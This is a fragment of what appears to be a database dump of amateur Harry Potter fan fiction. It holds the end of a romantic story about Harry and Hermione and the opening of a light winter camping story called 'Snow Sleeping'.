XIV</p>\n\n<p class="MsoBodyText">Dedicated to my English teacher, who will retire after\nthis school year. We (my 8th grade class) love you and we thank you very much!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Part\nThree: Soul Mates</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">..the\nonly thing missing was.. love.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">What was meant to be will be meant to be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron\nrolled his eyes as Harry left. Harry needed to get a life. He was always cooped\nup at their flat. What Harry really needed was a girl. It was just too bad\nHarry could just bump into anybody and immediately fall in love. No, Harry was\njust too picky.</p>\n\n<p class="MsoNormal">Sighing,\nRon turned off the television. His program had just ended, and he didn\'t like\nthe show coming on. Soap operas, oi.</p>\n\n<p class="MsoNormal">Okay.\nSo now [I]he[/I] was alone and bored... that couldn\'t be too good. So, what to\ndo?</p>\n\n<p class="MsoNormal">&quot;Hmm...&quot;\nnot necessarily for the first time, Ron went to check out Harry\'s bookshelf.\nRon didn\'t know why the guy had insisted on buying Muggle books as well as\nwizard ones. Of course, that may have from Harry\'s mother... but then again,\nwho knew? Other Harry and God, of course.</p>\n\n<p class="MsoNormal">He\npulled out a fairly thick book. One titled: The Princess Bride.</p>\n\n<p class="MsoNormal">Huh...\nvery sappy-like title, but Ron was intrigued. He walked to the couch and just\nstarted to read.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nopened the door, with a relieving sigh. He was glad the work day was finally\nover. As he opened the door he found Ron on the couch. Just reading. That was\ndefinitely new.</p>\n\n<p class="MsoNormal">Harry\ncoughed to get his friend\'s attention.</p>\n\n<p class="MsoNormal">Ron\nslowly lowered the book from his face. &quot;Oh hi Harry...er, who\'s\nthat?&quot; she pointed to the woman standing next to his best friend.</p>\n\n<p class="MsoNormal">&quot;Hermione\nGranger,&quot; the woman held her hand out.</p>\n\n<p class="MsoNormal">Ron\nnodded. &quot;Nice to meet you,&quot; he turned to Harry suspiciously.\n&quot;How come you never told me about her?&quot;</p>\n\n<p class="MsoNormal">&quot;I\njust met her today.&quot;</p>\n\n<p class="MsoNormal">Ron\nstarted to cough. &quot;W-what? Are you serious?!&quot;</p>\n\n<p class="MsoNormal">Hermione\nrolled her eyes while Harry answered. &quot;Of course not. Sirius is.&quot;</p>\n\n<p class="MsoNormal">Ron\ngroaned, &quot;Oh c\'mon! Not the pun... anyway.. how did you two meet?&quot;</p>\n\n<p class="MsoNormal">Hermione\ngiggled nervously. &quot;Er... that was my fault... I actually bumped into him\nat work.&quot; She looked away, embarrassed.</p>\n\n<p class="MsoNormal">&quot;No\nway!&quot;</p>\n\n<p class="MsoNormal">&quot;What\'s\nno way?&quot; Harry inquired. What Ron blurted out was just random.</p>\n\n<p class="MsoNormal">&quot;I\nwas just thinking and... oh never mind! Harry I can\'t believe you\'re dating a\ngirl just the day you met her!&quot; Ron exclaimed.</p>\n\n<p class="MsoNormal">&quot;We\'re\nnot dating!&quot; Harry and Hermione said hotly, their faces flushed.</p>\n\n<p class="MsoNormal">&quot;We\nwere assigned unto an assignment together,&quot; Hermione informed.</p>\n\n<p class="MsoNormal">Ron\ndidn\'t believe them though. &quot;Oh is that all? Sure you guys are assigned\nto--?&quot;</p>\n\n<p class="MsoNormal">&quot;RON!&quot;\nHarry scolded, his face a shade between pink and red.</p>\n\n<p class="MsoNormal">Hermione\nturned to Harry, speaking rather stiffly. &quot;Well, Harry, I\'ll see you\ntomorrow then?&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah,\nsure.&quot;</p>\n\n<p class="MsoNormal">Hermione\nleft abruptly. She just couldn\'t work with that Ron in the room. But then...\nwell, she was glad Ron was there... it stopped her from just throwing herself\nat Harry. She sighed as she left the building. Harry had just done something to\nher. He made her fall in love with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwasn\'t any happier when Hermione left. In fact, he was boiling mad.</p>\n\n<p class="MsoNormal">&quot;You\njust had to drive my colleague away, didn\'t you?! She\'ll--&quot;</p>\n\n<p class="MsoNormal">&quot;What?\nScrew around with you?&quot; Ron laughed. He needed a good laugh, and it was a\nperfect situation to tease endlessly.</p>\n\n<p class="MsoNormal">&quot;RON!\nAugh! Someone get the newspaper!&quot;</p>\n\n<p class="MsoNormal">&quot;Why?&quot;</p>\n\n<p class="MsoNormal">&quot;To\nhit you upside the head!&quot;</p>\n\n<p class="MsoNormal">&quot;Then\nno.&quot;</p>\n\n<p class="MsoNormal">Harry\nsighed, frustrated and flopped down on another chair. He crossed his arms,\nclearly vexed.</p>\n\n<p class="MsoNormal">&quot;Hey,\nI\'m sorry, okay?&quot; Ron said after a long awkward silence. &quot;I didn\'t\nmean to... I was just so bored.&quot;</p>\n\n<p class="MsoNormal">&quot;That\'s\nall right,&quot; Harry finally said.</p>\n\n<p class="MsoNormal">&quot;Why\ndid you bring her here anyway?&quot;</p>\n\n<p class="MsoNormal">&quot;To\nwork on the article.&quot;</p>\n\n<p class="MsoNormal">&quot;Suurue.&quot;</p>\n\n<p class="MsoNormal">&quot;Shut\nup.&quot;</p>\n\n<p class="MsoNormal">Silence.</p>\n\n<p class="MsoNormal">&quot;...\ncan I talk now?&quot;</p>\n\n<p class="MsoNormal">&quot;No.&quot;</p>\n\n<p class="MsoNormal">&quot;Well,\nI just want to say, when you marry her and have kids, that I told you so, so\ndon\'t complain.&quot;</p>\n\n<p class="MsoNormal">&quot;Fine.&quot;</p>\n\n<p class="MsoNormal">&quot;Good.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\ndidn\'t have to name her after us,&quot; James Potter told his son.</p>\n\n<p class="MsoNormal">Harry\ngrinned at his father. &quot;I know that but I wanted to.&quot; James sighed\nand shook his head.</p>\n\n<p class="MsoNormal">&quot;Well,\nlet\'s just hope he\'s not another carbon copy of us.&quot;</p>\n\n<p class="MsoNormal">Harry\nnodded grimly. Yes. He had enough of people mistaking him and his father. It\nwas irritating.</p>\n\n<p class="MsoNormal">A\nhowling scream made the two men cringe.</p>\n\n<p class="MsoNormal">&quot;Reminds\nme of your mother\'s labor,&quot; James mumbled under his breath. Lily promptly\nsmacked his arm. &quot;Ow! I didn\'t mean it Lils...&quot;</p>\n\n<p class="MsoNormal">&quot;Sure\nyou don\'t,&quot; Lily Potter rolled her eyes at her husband. He could be so\nimmature sometimes.</p>\n\n<p class="MsoNormal">&quot;I\'m\njust glad I\'m not there...&quot; Harry grimaced.</p>\n\n<p class="MsoNormal">&quot;You\nshould be,&quot; Lily told him. &quot;James was me. Through every painstaking\nminute.&quot; Harry started to feel guilty.</p>\n\n<p class="MsoNormal">James\nwinced at the memory. &quot;Indeed. Every single painful moment...Lily you hurt\nmy hand so bad that day... my hand\'s still sore.&quot; Guilt gone. &quot;Ow!\nLils!&quot;</p>\n\n<p class="MsoNormal">Harry\nlaughed at his parents. They were fun people -- even if they were older now. It\nwas like as if they were teenagers again sometimes. Better count Sirius and\nRemus in on that too.</p>\n\n<p class="MsoNormal">&quot;Dad!\nDad! Granpapa! Grammum! Uncle Ronnie! Uncle Remie! Uncle Thiri!&quot; Three\nyear old Lily Elizabeth Potter jumped up and down as she bounced out of the\ndelivery room. Ron, Remus, and Sirius (who were waiting with them) all groaned simultaneously.\nLily E. couldn\'t speak clearly yet but she could say the hated nicknames.\n&quot;\'Ummy was threaming so \'adly!&quot; She giggled happily. &quot;James\nHarry wook just wike you \'oo!&quot; She jumped into her grandmother\'s arms and\npointed at her father and grandfather.</p>\n\n<p class="MsoNormal">Harry\nand James groaned. James muttered, &quot;Not again.&quot;</p>\n\n<p class="MsoNormal">&quot;Is\nthat so?&quot; Lily asked Lily E. rhetorically. &quot;Well, then more misery to\nyour grandpa.&quot;</p>\n\n<p class="MsoNormal">&quot;Don\'t\ncall me that Lils, it makes me sound old.&quot;</p>\n\n<p class="MsoNormal">&quot;You\ncan\'t make me and you are old.&quot;</p>\n\n<p class="MsoNormal">Lily\nE. started to laugh again. Harry sighed. &quot;Well, Lily-girl... I\'ll see you\nlater.&quot; He smiled at his daughter and ruffled her hair. Lily E. smiled\nback. Harry loved his daughter as much as his parents, his wife, and his new\nbaby boy. James Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwinced as he entered the delivery room. He smiled as warmly as he could at his\nwife. He sat next to her. She wasn\'t really paying attention to him. Just\nstaring at her beloved, sleeping, new born son.</p>\n\n<p class="MsoNormal">The\nbaby\'s hair was still wispy but they were dark and simply unruly. Unruly black\nhair --Truly a heredity to Potter men. Hm.</p>\n\n<p class="MsoNormal">James\nHarry stirred and started to wake. His eyes opened slowly, revealing big, honey\nbrown eyes.</p>\n\n<p class="MsoNormal">&quot;Oh..\nhe\'s so beautiful... like his daddy..&quot; Harry\'s wife turned to her husband,\nstaring at his bright green eyes.</p>\n\n<p class="MsoNormal">&quot;I\nknow that \'Mione,&quot; Harry said and playfully kissed her cheek. &quot;I love\nyou so much,&quot; he whispered into her ear.</p>\n\n<p class="MsoNormal">Hermione\ngiggled. &quot;Yes... well... let\'s call Lily in here.&quot;</p>\n\n<p class="MsoNormal">&quot;No\nneed!&quot; Lily E. shouted. She was being carried in by Lily.</p>\n\n<p class="MsoNormal">&quot;She\nwanted to come back,&quot; Lily explained, putting down Lily E. on the bed.\nJames followed inside the room after Lily. He peered at his grandson.</p>\n\n<p class="MsoNormal">&quot;Uh-huh...\ngetting a sort of sense of deja vu here.&quot; Lily slapped his arm playfully.</p>\n\n<p class="MsoNormal">Hermione\nlooked at the door. Outside you could see Ron, Sirius, Remus, and some others\ntrying to peer through the small window in the door. She shook her head\ndisapprovingly. &quot;Honestly! Can\'t you guys wait?&quot; she mouthed.</p>\n\n<p class="MsoNormal">Ron,\noutside, shrugged.</p>\n\n<p class="MsoNormal">Harry\nsaid, &quot;You know what... he\'s saying \'I told you so\' again! Oy!&quot;</p>\n\n<p class="MsoNormal">Hermione\ntold me, &quot;Maybe he just knows that I was your significant other before we\ndid.&quot;</p>\n\n<p class="MsoNormal">&quot;Maybe..\nmaybe not.&quot;</p>\n\n<p class="MsoNormal">&quot;Hey!&quot;\nLily E. said, getting everyone\'s attention. The room was silenced. Lily E.\ntwirled her thick brown hair with a finger as she talked and her green eyes\ndanced with creativity. &quot;What if \'hat in \'nother li\'e \'hat grammum and\ngranpapa wat killed, and I\'m tho torry grammum and granpapa for taying it, by\nwike thome dark wizard and \'hen daddy wived and \'hen he had to wive wit his \'ad\nuncle and aun\'ie and coutin, \'hen \'ind out he\'s a wizard when he get an\nHogwar\'s letter \'hen meet Uncle Ronnie and mummy in the twain? \'Hen every year\nof Hogwar\'s he had to \'ight \'hat dark wizard? And he and mummy were des\'ined\n\'hen \'oo! And when daddy defee the dark wizard guy, the world tart all over and\nthe bad \'tuff is gone?&quot;</p>\n\n<p class="MsoNormal">The\nroom was silent until it was broken by Hermione\'s nervous laugh. &quot;Oh Lily,\nwhere do you get these things? You have such a wild imagination. Plus dear,\nthat was a run on sentence.&quot; Chatter started once more.</p>\n\n<p class="MsoNormal">&quot;Sorry,\nbut you know... it could happen!&quot; James Harry started to giggle happily.</p>\n\n<p class="MsoNormal">&quot;Yes\nmy little Lily,&quot; Harry told his daughter. &quot;Perhaps it could but we\'ll\nnever know.&quot;</p>\n\n<p class="MsoNormal">&quot;But\nit could happen, couldn\'t it?&quot;</p>\n\n<p class="MsoNormal">&quot;Yes\nit could.&quot;</p>\n\n<p class="MsoNormal">&quot;I\ntold you so!&quot;</p>\n\n<p class="MsoNormal">&quot;Oy\nvay, Lily E.&quot;</p>\n\n<p class="MsoNormal">Lily\nE. only giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nEnd...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~-~-~-~-~-~</p>\n\n<p class="MsoNormal">Translations:\n</p>\n\n<p class="MsoNormal">-\nThiri &#8211; Siri</p>\n\n<p class="MsoNormal">-\nMummy was screaming so badly</p>\n\n<p class="MsoNormal">-\nJames Harry looks just like you two!</p>\n\n<p class="MsoNormal">-\nWhat if that in another life that grammum and granpapa was killed, and I\'m so sorry\ngrammum and granpapa for saying it, by like some dark wizard and then daddy\nlived and then he had to live with his bad uncle and auntie and cousin, then\nfind out he\'s a wizard when he gets an Hogwarts letter then meet Uncle Ronnie\nand mummy in the train? Then every year of Hogwarts he had to fight that dark\nwizard? And he and mummy were destined then too! And when daddy defeat the dark\nwizard guy, the world starts all over and the bad stuff is gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sorry\nif anyone was confused!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(110, 1, '\n\n<p>A/N: I personally don\'t think this is as good as my other stories, but I hope you enjoy it just the same ^^</p>\n\n<p>						~~**~~</p>\n\n<p>&quot;So.&quot; Harry said around a mouthful of Chicken. &quot;You guys staying or leaving this winter break?&quot; He took a drink from his goblet and glanced between the two sitting on either side of him.</p>\n\n<p>&quot;I&#8217;m having to stay.&quot; Ron said glumly. &quot;My parents are leaving on a trip and they are taking Fred with them.  If I did go home, I would be bored outta my bloody mind&#8230; not to mention starved to death.&quot;</p>\n\n<p>&quot;Tough break.&quot;</p>\n\n<p>&quot;Yeah.&quot;</p>\n\n<p>&quot;Hermione?&quot; Harry looked to his left. &quot;How about you?&quot; He gave her a smile.</p>\n\n<p>The girl in question blushed lightly. &quot;Well, I for one, need to use the school library, so I will be staying as well.&quot;</p>\n\n<p>&quot;Great!&quot; Harry exclaimed. &quot;We&#8217;re all gonna be together then!&quot; He merrily pulled his friend into a group hug, getting another blush from Hermione and a squeak from Ron.</p>\n\n<p>					Snow Sleeping </p>\n<p>						By:</p>\n<p>						      Satashi</p>\n\n<p>&quot;Come <i>on</i>, Ron.&quot; Harry said, pulling his robe over himself and reaching for the door. &quot;We&#8217;re almost late and your still in bed!?&quot;</p>\n\n<p>&quot;I&#8217;m a bit under the weather, I&#8217;m afraid.&quot; Ron replied, sticking his head from under the covers. &quot;I do believe playing in the snow has given me a quite nasty cold.&quot;</p>\n\n<p>&quot;Well, take some medication and get plenty of rest then.&quot; Harry opened the door and went out, calling over his shoulder &quot;I&#8217;ll tell Hagrid for you.&quot;  And with that, he was gone.</p>\n\n<p>						~**~</p>\n\n<p>&quot;Hermione! Hermione, wait up!&quot; </p>\n\n<p>The girl being addressed turned and saw a very tired Harry Potter chasing after her. &quot;Harry, Harry, Harry, I swear, your almost late for almost every class now.&quot; She scolded him, but allowed him to fall into step beside her just the same. &quot;Where&#8217;s Ron?&quot;</p>\n\n<p>&quot;Sick, I&#8217;m afraid.&quot; He informed, looking her over. &quot; A bit of a cold. Mighty fine earrings you have there today.&quot;</p>\n\n<p>&quot;Thanks.&quot; She beamed. &quot;My father sent them to me as a reward for scoring so high on my test.&quot;</p>\n\n<p>&quot;Don&#8217;t remind me.&quot; He sighed. &quot;Potions almost killed me&#8230;again.&quot;</p>\n\n<p>&quot;Harry, dear, you have been training for five and a half years now, can&#8217;t you get that potion down <i>yet</i>?&quot;</p>\n\n<p>&quot;Well, some of us aren&#8217;t as smart as you, Hermione.&quot; He replied with a sarcastic tone in his voice but held a smile that clearly told her he was playing. His smile, however, still earned him a smack on the backside of his head and a &#8216;tut&#8217; from her. </p>\n\n<p>Harry grinned. She had to almost stand on her tiptoes to hit him. </p>\n\n<p>						~**~</p>\n\n<p>&quot;Ah, hello there, Hermione, Harry.&quot; Hagrid greeted. &quot;Nice of you to show up on the last class before winter break. Where&#8217;s Ron? Don&#8217;t tell me he&#8217;s skipping the last day too?&quot;</p>\n\n<p>Hermione looked around. More than half the class was absent. &quot; How could anyone just skip like that?&quot; She huffed, annoyed at her fellow students. In the back of her mind, she slightly registered Harry telling their friend that Ron was sick.</p>\n\n<p>&quot;Well now, today we have something special before we start class.&quot; Hagrid told the people around him. &quot;The professors and me have thought of a bit of extra credit to be earned over the winter break.&quot;</p>\n\n<p>Hermione suddenly paid more attention, excited. Harry allowed himself a small smile at his friend.</p>\n\n<p>&quot;The conditions are that you must be staying here for winter break and not be goin&#8217; home.&quot; A few students muttered at this. &quot;The second is, it&#8217;s a group project. You will be in groups of three.&quot; Harry and Hermione suddenly looked at each other and grinned. &quot;Also, you will be going into the Forrest for a total of four days. NOW! Before anyone starts asking me all sorts of questions, listen up!&quot; This ceased the mumerings. &quot;You will be provided with a tent large enough for three, ample supplies to cook with, and everything needed to carry out your task. Dumbeldor personally set up a magical field in a twenty foot circle around your tent &#8211;however big that is-, so you will be safe while there.&quot;</p>\n\n<p>&quot;What exactly are we doing?&quot; A voice sprang up. He too was a sixth year. </p>\n\n<p>&quot;Oh, yeah. Must&#8217;ve forgot to mention that there.&quot; Hagrid clapped his big hands together once. &quot; You will-&quot;</p>\n\n<p>					~**~</p>\n\n<p>&quot;Plant a seed and cast a spell to make it grow, turn the plant into an elixir and feed it to a wounded animal.&quot; Hermione read the parchment in front of her while Harry idly placed more food into his mouth. </p>\n\n<p>&quot;So, we are doing several classes all in one. Potions, magic, herbs, and even caring for an animal. No wonder its universal extra credit.&quot; </p>\n\n<p>Hermione nodded. &quot;And with the three of us, we can&#8217;t mess up.&quot; Harry grinned broadly. &quot;Well, with <i>me</i> there, we can&#8217;t mess up.&quot;</p>\n\n<p>&quot;Heyyyyyyy&quot;</p>\n\n<p>					~**~</p>\n\n<p>&quot;Ron! Hey, Ron!&quot; Harry opened the door to his room and looked around. &quot;Ron, we got a&#8212;hey, why are you packing?&quot;</p>\n\n<p>Ron looked up from his trunk. &quot;Fred can&#8217;t make the trip for some reason, so I get to go along after all.&quot; He sniffed and wiped his nose on his sleeve. &quot;Not even a bloody cold will make me miss this trip. I&#8217;ll get to see the dragon after all!&quot;</p>\n\n<p>&quot;Aw man, we signed up for an extra credit assignment! We put you down too, thinking your trip was still cancelled.&quot;</p>\n\n<p>&quot;Sorry, Harry, but I&#8217;m not missing this for anything.&quot; He again sniffed. &quot;Besides, with this cold, there&#8217;s no way I could <i>work</i>.&quot;</p>\n\n<p>Harry sighed. &quot;Oh well, have fun on your trip, I&#8217;ll go tell Hagrid that you&#8217;ll be dropped.&quot;</p>\n\n<p>					~**~</p>\n\n<p>Harry padded his way through the snow, leaving footprints behind him. Hagrid&#8217;s house was just up ahead and he quickened his pace a little. He didn&#8217;t want to stay in the cold for any longer than needed. Reaching the door, he knocked on it and called. &quot;Hagrid, open up- it&#8217;s me! I&#8217;m freezing out here!&quot;</p>\n\n<p>To his surprise, Hermione opened the door. &quot;Hey Harry.&quot;</p>\n\n<p>&quot;Hermione? Where&#8217;s Hagrid?&quot;</p>\n\n<p>Hermione pointed behind her. &quot;I&#8217;m asking about the extra credit work.&quot; She explained, moving so he could come in. &quot;I was just making some hot cocoa, want some too?&quot;</p>\n\n<p>&quot;You know it.&quot; He spoke, moving to his friend. &quot;But I have some bad news, Ron can&#8217;t join us.&quot;</p>\n\n<p>&quot;Eh?&quot; Hermione stopped her cocoa making to stare at him, jaw slightly agap. &quot; Why not? He won&#8217;t mind going out in the cold?&quot;</p>\n\n<p>&quot;His family contacted him and told him he <i>could</i> go on the trip afterall, so he&#8217;ll be leaving tonight after dinner.&quot;</p>\n\n<p>&quot;Oh that&#8217;s too bad.&quot; Hagrid told them when Harry paused. &quot;The extra credit was meant for three people, not two&#8230;.&quot;</p>\n\n<p>&quot;You think we could do it and split three people&#8217;s points two ways!?&quot; Hermione was trying her best to keep the extra work. Harry once again noticed how dedicated she was.</p>\n\n<p>&quot;I&#8217;m not sure&#8230;. I&#8217;ll have to take it up to the professors and ask them.&quot; He stood. &quot;I mus&#8217; hurry now. They will all be together for a few more minut&#8217;s  &#8216;for they go on thar separate ways now. Wait here you two.&quot;</p>\n\n<p>&quot;Okay.&quot;</p>\n\n<p>&quot;Thank you, Hagrid.&quot;</p>\n\n<p>						~**~</p>\n\n<p>It was almost an hour before he came back to his hut. Harry and Hermione were biding their time by idly talking about what they would do for four days out in the woods if they could indeed go. When the sound of the door opening reached their ears, both turned expectantly to Hagrid.</p>\n\n<p>&quot;Well? How did it go?&quot; Harry asked, anxious. </p>\n\n<p>&quot;It seems everyone agreed, but Snape.&quot; He informed them. &quot;You&#8217;re points will be split two ways, but not in &#8216;is class.&quot;</p>\n\n<p>&quot;All right!&quot; Hermione squealed. &quot;We can do it now!&quot;</p>\n\n<p>Harry raised an eyebrow. &quot;Yeah. But do you need to be <i>that</i> excited about working during the break?&quot;</p>\n\n<p>She set her classic glare on him.</p>\n\n<p>						~**~</p>\n\n<p>&quot;Got everything you need?&quot;  Hermione asked Harry, sitting on his bed and watching him toss things into a small suitcase. &quot;Oh geeze, here, let me help.&quot; She got up and lightly moved him aside. &quot;This is why all your cloths are always wrinkled, you don&#8217;t fold <i>anything</i>!&quot;</p>\n\n<p>Harry watched her neatly fold his cloths, blushing brightly when she held up a pair of boxers with little red hearts on them, her raising an eyebrow at him. &quot;Hermione!&quot;</p>\n\n<p>She giggled, blushing herself when he looked away. &quot;The great Harry Potter wears the <i>cutest</i> little underpants.&quot;</p>\n\n<p>&quot;Now I remember why I stopped letting you do my laundry&#8230;&quot;</p>\n\n<p>						~**~</p>\n\n<p>Meeting once again at Hagrid&#8217;s house, Hermione and Harry smiled as they saw their friend already holding up two backpacks with sleepingbags tied to the top of them.</p>\n\n<p>&quot;&#8216;Morning there you two.&quot; He greeted, handing them each a pack. &quot;You&#8217;ll find your food, utensils, supplies, and sleeping bags are all there for you. Now remember, you are not allowed to cast any magic other that what is written on the parchments you both received, okay?&quot;</p>\n\n<p>&quot;Okay.&quot; They both answered in unison, nodding.</p>\n\n<p>&quot;&#8216;Righty then! Follow me and off we go!&quot;</p>\n\n<p>						~**~</p>\n\n<p>&quot;There&#8217;s your tent.&quot; Hagrid pointed in the distance to a bright blue tent in an opening in the forest. &quot;Just cross that creek there and you&#8217;re home free. Now I must be getting back, I&#8217;m already late to greet the next group.&quot;</p>\n\n<p>&quot;Thanks, Hagrid.&quot; Harry nodded. &quot;See you tomorrow.&quot;</p>\n\n<p>&quot;Bye.&quot; Hermione added, walking over to the log that made a bridge over the creek.</p>\n\n<p>Hagrid nodded at them one last time before hustling off to meet his next group of students.</p>\n\n<p>&quot;Be careful, Hermione.&quot; Harry warned. &quot;There is a good bit of ice on that log.&quot; </p>\n\n<p>&quot;Don&#8217;t be silly.&quot; She told him from the middle of the log. &quot;It&#8217;s just fine, see?&quot; She turned again, but her foot overbalanced and a sound of a splash then followed. &quot;Moouuuuu&#8230;&quot;</p>\n\n<p>Harry couldn&#8217;t help but laugh. &quot;Hahahaha, see!?  I <i>told</i> you so!&quot;</p>\n\n<p>						~**~</p>\n\n<p>&quot;Of all the rotten luck&#8230;&quot; Hermione pouted, taking her things out from her backpack. Everything was drenched. &quot; At least non of my things were damaged&#8230;.&quot;</p>\n\n<p>Harry walked over to her after taking some things out of his pack. &quot;Here, go change in he tent. You&#8217;ll be sick as a dog if you wear those wet things.&quot;</p>\n\n<p>Hermione looked up at the sweater and sweatpants he was handing her and blushed lightly. &quot;I&#8217;m perfectly fine.&quot; But a sneeze proved her wrong.  &quot;Very well then. Peak and I&#8217;ll make you eat slugs.&quot;</p>\n\n<p>Harry winced, remembering poor Ron all those years back. &quot;Wouldn&#8217;t dream of it&#8230;&quot;</p>\n\n<p>							~**~</p>\n\n<p>When Hermione returned from the tent, she saw Harry shaking his head lightly at the cloths he had hung up with a string between two trees. &quot;This is pointless, \'Mione.&quot; He informed her, using a pet name he himself came up with. She always seemed flustered when he used it. &quot;They&#8217;ll be frozen solid in this weather. I&#8217;ll have to cast a heating spell on them...&quot; He went for his wand.</p>\n\n<p>&quot;No!&quot; This caused his to successfully stop. &quot;Don&#8217;t you listen?&quot; She asked in an indignant voice. &quot;Hagrid told us not to use any magic not permitted by our list! We&#8217;ll lose credit if we do.&quot;</p>\n\n<p>&quot;Ah. Right then.&quot; He lowered his wand and turned around to see her for the first time. </p>\n\n<p>He never laughed so hard.</p>\n\n<p>Hermione had to roll up his sleeves several times, leaving a bulk on her wrist. The sweater revealed almost all of her shoulders (she constantly pulled them up for warmth), and went down to her knees. Her pants were so baggy she looked as though she was drowning.   She only sulked and muttered something about it being his fault for getting a sudden growth spurt over the last few years. Harry only continued to laugh.</p>\n\n<p>Piff!</p>\n\n<p>He blinked. His vision was skewered by a white flaky substance that was awfully cold.  It took him all of three seconds to realize he had been hit with a snowball. &quot;That was mean.&quot; He spoke, only to get another directly in his mouth.</p>\n\n<p>						~**~</p>\n\n<p>&quot;This is weird.&quot; Harry commented, looking at the woodpile in front of him and the parchment in his lap.</p>\n\n<p>&quot;What?&quot; Hermione spared him a glance as she picked out a few vegetables from her pack that was magically enchanted to store great quantities of food.</p>\n\n<p>&quot;This.&quot; He held up a small book of matches. &quot;Matches. There isn&#8217;t a single spell on here that gives out any kind of heat.</p>\n\n<p>Hermione shook her head disapprovingly. &quot;Harry&#8230;. Universal credits remember? Not only does fire ward off forest imps (as read in Mysteries of dark arts unfolded), but the matches are Muggle like.  Defense against the dark arts AND Muggle studies as well.&quot;</p>\n\n<p>Harry shook his head lightly and lit the match without a problem. &quot;They really though of everything, they have.&quot; He lit a small tender of wood and blew on it gently; just enough to get hot and burn a small piece of paper laid next to it. Within the next few minutes, he had a full-fledged fire going.</p>\n\n<p>Hermione was impressed to say the least. &quot;Very well done. I hated that in class.&quot;</p>\n\n<p>He couldn&#8217;t resist the opening. &quot;<i>You</i> hated something in a class?&quot;</p>\n\n<p>&quot;Oh save it Harry.&quot; Her face, though, revealed a feeble attempt to hide a smile. &quot;It taught us things we know as common sense. Even I don&#8217;t like <i>some</i> things.&quot;</p>\n\n<p>&quot;Sure thing, \'Mione.&quot;</p>\n\n<p>She wrinkled her nose.</p>\n\n<p>							~**~</p>\n\n<p>&quot;You know&#8230;.&quot; Harry said, looking up at the stars in the sky. &quot;I think they gave us four days to do this on purpose.&quot;</p>\n\n<p>His friend paused her stirring of her stew long enough to ponder on it a bit. &quot;What do you mean, Harry?&quot;</p>\n\n<p>&quot;Well.&quot; He looked over at her, smiling secretly as she pulled her sleeve back over her shoulder absentmindedly. &quot;We could have easily planted a seed, grown it, mixed it, and made medicine all in a few hours, you know?&quot;</p>\n\n<p>She blinked. &quot;Yeah&#8230;&quot;</p>\n\n<p>&quot;So I guess this is kind of like an outing for students who had to stay for some reason or another. Maybe because I told Hagrid how boring it was without you and Ron around.&quot;</p>\n\n<p>&quot;Sounds like something Hagrid would do for us.&quot; She agreed. &quot;Here, taste this soup.&quot;</p>\n\n<p>He leaned over and allowed her to spoon-feed him a bite. Immediately after the reflex action, both looked away. Hermione scolded herself when she felt hr cheeks turn pink.</p>\n\n<p>&quot;It&#8217;s good.&quot;</p>\n\n<p>&quot;Edscuse me?&quot;</p>\n\n<p>&quot;I said it&#8217;s good.&quot; He gave her that grin of his. &quot;I want a bowl soon.&quot;</p>\n\n<p>And she smiled brightly.</p>\n\n<p>							~**~</p>\n\n<p>&quot;Um&#8230;&quot; Hermione looked at the sleeping bag and flustered a bit. &quot; Even if Hagrid gave us larger sleeping bags that was needed, it&#8217;s still too small.&quot;</p>\n\n<p>&quot;I&#8217;ll sleep on the floor, you can have it.&quot; </p>\n\n<p>&quot;I can&#8217;t take your sleeping bag! You&#8217;ll freeze!&quot;</p>\n\n<p>&quot;So will you!&quot;</p>\n\n<p>&quot;&#8230;&quot; She crossed her arms. &quot;Well, its not like we&#8217;re <i>dating</i> or anything&#8230;I mean&#8230; we&#8217;re just friends after all.&quot; She glanced at him nervously. &quot;You mind?&quot;</p>\n\n<p>Harry actually gave out a blush. &quot;<i>Together!?</i>&quot;</p>\n\n<p>&quot;Yeah, why not!?&quot; She got all indignant. &quot;What are you saying I&#8217;m <i>fat</i>?&quot;</p>\n\n<p>&quot;No no no!&quot; He quickly racked his brains for something to say. &#8216;<i>Why isn&#8217;t there a spell for things like this!?</i>&#8217;</p>\n\n<p>&quot;The there should be no problem then.&quot; She slid into the bag and held it open. &quot;Well, come on then.&quot;</p>\n\n<p>Harry, already changed into his night cloths, slide slowly next to her. &quot;Ron would kill me if he knew I was sharing a sleeping bag with a girl&#8230;&quot;</p>\n\n<p>&quot;Not if it&#8217;s just me.&quot; She replied, with a small giggle. &quot;But then again, he <i>did</i> get with that one cute girl&#8230;&quot;</p>\n\n<p>The pair shifted a little bit and decided to face away from each other, back to back, for the most room. &quot;Yeah. I guess this <i>is</i> okay after all then.&quot;</p>\n\n<p>&quot;&#8230;Sorry for stealing your bag like this&#8230; if only I could cast one simple spell&#8230;.&quot;</p>\n\n<p>&quot;It&#8217;s okay.&quot;</p>\n\n<p>&quot;Just, don&#8217;t touch me or anything weird.&quot;</p>\n\n<p>Harry jerked. &quot;<i>Huh!?</i>.&quot; He shifted to turn over, but his hand grazed her backside.</p>\n\n<p>&quot;Ack! Pervert!&quot;</p>\n\n<p>&quot;I didn&#8217;t&#8212;!&quot;</p>\n\n<p>&quot;Be quiet!&quot;</p>\n\n<p>They both tired to move.</p>\n\n<p>&quot;HEY! Now <i>who&#8217;s</i> touching <i>whom</i>!?&quot;</p>\n\n<p>&quot;But I--!&quot;</p>\n\n<p>							~**~</p>\n\n<p>It was way later that night before the two could get comfortable.  After countless times spent moving and shifting, finally the two faced each other and had a mad giggle fit. Once Hermione settled her self, she found that it wasn&#8217;t as bad as she thought. In fact, it was kinda nice being this close to him.  